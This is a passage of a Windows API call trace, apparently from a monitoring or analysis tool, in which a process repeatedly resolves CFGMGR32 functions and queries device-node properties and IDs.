(hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.475] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.475] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.475] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.475] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.475] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.475] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.475] malloc (_Size=0x18) returned 0x20abc281c80 [0226.476] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0226.479] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.479] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x42c17cf5, dwHighDateTime=0x1d9eb0c)) [0226.479] SetEvent (hEvent=0x248) returned 1 [0226.482] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.483] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.487] malloc (_Size=0x18) returned 0x20abc281b60 [0226.487] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0xd, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0226.487] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.487] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x42c3e338, dwHighDateTime=0x1d9eb0c)) [0226.487] SetEvent (hEvent=0x248) returned 1 [0226.507] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.507] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.510] malloc (_Size=0x18) returned 0x20abc281c20 [0226.510] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0xd, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0226.511] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.511] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x42c65643, dwHighDateTime=0x1d9eb0c)) [0226.511] SetEvent (hEvent=0x248) returned 1 [0226.515] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.515] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.518] malloc (_Size=0x18) returned 0x20abc281b00 [0226.519] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0226.519] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.519] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x42c8a6dc, dwHighDateTime=0x1d9eb0c)) [0226.519] SetEvent (hEvent=0x248) returned 1 [0226.525] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.525] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.525] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.525] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.525] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.528] malloc (_Size=0x18) returned 0x20abc281ec0 [0226.528] CM_Get_Device_IDA (in: dnDevInst=0xe, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\VOLMGR\\0000") returned 0x0 [0226.528] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.529] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x42c8a6dc, dwHighDateTime=0x1d9eb0c)) [0226.529] SetEvent (hEvent=0x248) returned 1 [0226.533] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.534] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.534] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.540] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.540] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.540] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.541] malloc (_Size=0x18) returned 0x20abc281e00 [0226.541] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0226.541] malloc (_Size=0x1a) returned 0x20abc2a9be0 [0226.542] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9be0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9be0, pulLength=0x2dc22fd3f8) returned 0x0 [0226.542] free (_Block=0x20abc2a9be0) [0226.542] malloc (_Size=0x48) returned 0x20abc27cb20 [0226.542] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x42cb08e2, dwHighDateTime=0x1d9eb0c)) [0226.542] SetEvent (hEvent=0x248) returned 1 [0226.545] malloc (_Size=0x18) returned 0x20abc281f20 [0226.545] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba79b58) returned 0x0 [0226.545] free (_Block=0x20abc281f20) [0226.545] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0cff0 [0226.545] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0226.545] SafeArrayGetLBound (in: psa=0x20abba7ffd0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0226.545] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0226.546] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba797f0 [0226.546] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0226.546] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0226.546] SafeArrayGetElemsize (psa=0x20abba7ffd0) returned 0x8 [0226.546] SafeArrayGetElement (in: psa=0x20abba7ffd0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0226.546] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc402090, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0226.547] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba797f0) returned 1 [0226.547] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0cff0) returned 1 [0226.562] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.562] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.562] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.562] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.562] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.562] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.563] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.563] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.563] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.563] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.563] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.564] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.564] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.564] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.564] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.564] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.564] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.564] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.564] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.565] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.565] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.565] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.565] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.565] malloc (_Size=0x18) returned 0x20abc281f80 [0226.566] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0226.566] malloc (_Size=0x52) returned 0x20abc2aa8d0 [0226.566] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2aa8d0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2aa8d0, pulLength=0x2dc22fd3f8) returned 0x0 [0226.567] free (_Block=0x20abc2aa8d0) [0226.567] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.567] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x42cfcd55, dwHighDateTime=0x1d9eb0c)) [0226.567] SetEvent (hEvent=0x248) returned 1 [0226.570] malloc (_Size=0x18) returned 0x20abc282000 [0226.570] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0226.570] free (_Block=0x20abc282000) [0226.570] malloc (_Size=0x18) returned 0x20abc2819a0 [0226.570] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0226.570] free (_Block=0x20abc2819a0) [0226.570] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c870 [0226.570] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0226.570] SafeArrayGetLBound (in: psa=0x20abba7ffd0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0226.570] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0226.570] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c40 [0226.570] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0226.570] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0226.570] SafeArrayGetElemsize (psa=0x20abba7ffd0) returned 0x8 [0226.571] SafeArrayGetElement (in: psa=0x20abba7ffd0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0226.571] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93730, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0226.571] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93738, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0226.572] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c40) returned 1 [0226.572] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c870) returned 1 [0226.573] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.573] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.573] GetProcAddress 